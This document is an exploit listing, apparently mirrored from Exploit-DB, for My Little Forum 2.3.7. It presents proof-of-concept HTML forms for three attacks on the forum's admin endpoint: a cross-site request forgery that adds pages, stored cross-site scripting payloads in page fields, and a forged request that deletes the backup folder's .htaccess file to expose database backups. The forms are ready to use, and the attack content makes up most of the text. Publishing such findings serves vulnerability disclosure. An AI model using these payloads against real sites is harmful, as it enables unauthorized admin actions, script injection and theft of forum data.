Exploit My Little Forum 2.3.7 - Multiple Vulnerabilities

[Exploiter]

EDB-ID

40676

Проверка EDB

1. Пройдено

Автор

ASHIYANE DIGITAL SECURITY TEAM

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2016-11-01

My Little Forum 2.3.7 - Multiple Vulnerabilities

Title:
======
My Little Forum  2.3.7 - Multiple Vulnerability


Product & Service Introduction:
===============================
My little forum is a simple PHP and MySQL based internet forum that 
displays the messages in classical threaded view (tree structure). It is 
Open Source licensed under the GNU General Public License. The main 
claim of this web forum is simplicity. Furthermore it should be easy to 
install and run on a standard server configuration with PHP and MySQL.


Software Link:
==============
https://github.com/ilosuna/mylittleforum/archive/master.zip


Vulnerability Type:
=========================
Cross-Site Request Forgery
Stored Cross-Site Scripting
CSRF Allow To Backup Disclosure


Vulnerability Details:
==============================
This WebApplication is vulnerable and suffer from some vulnerablity.


Severity Level:
===============
High


Proof of Concept (PoC):
=======================
1. CSRF (Add Page)
With this exploit can add page in webapp.
<form 
action="http://localhost/mylittleforum-master/index.php?mode=admin&action=edit_page" 
method="post" accept-charset="utf-8">
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="title" value="Title">
<input type="hidden" name="content" value="Content">
<input type="hidden" name="menu_linkname" value="Name">
<input type="submit" name="edit_page_submit" value="OK - Save page">
</form>


2. Stored XSS:
<form 
action="http://localhost/mylittleforum-master/index.php?mode=admin&action=edit_page" 
method="post" accept-charset="utf-8">
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="title" value="Stored XSS 
<script>alert(1)</script>">
<input type="hidden" name="content" value="Stored XSS 
<script>alert(2)</script>">
<input type="hidden" name="menu_linkname" value="Stored XSS 
<script>alert(3)</script>">
<input type="submit" name="edit_page_submit" value="OK - Save page">
</form>

3. Backup Disclosure:
with this exploit we can delect htaccess in backup folder for access to 
backups.
<form action="http://localhost/mylittleforum-master/index.php" 
method="post" accept-charset="utf-8">
<div>
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="delete_backup_files[]" value=".htaccess">
<input type="submit" name="delete_backup_files_confirm" value="OK - 
Delete">
</div>
</form>
Next use exploit go to:
http://localhost/mylittleforum-master/backup/



Author:
==================
Ashiyane Digital Security Team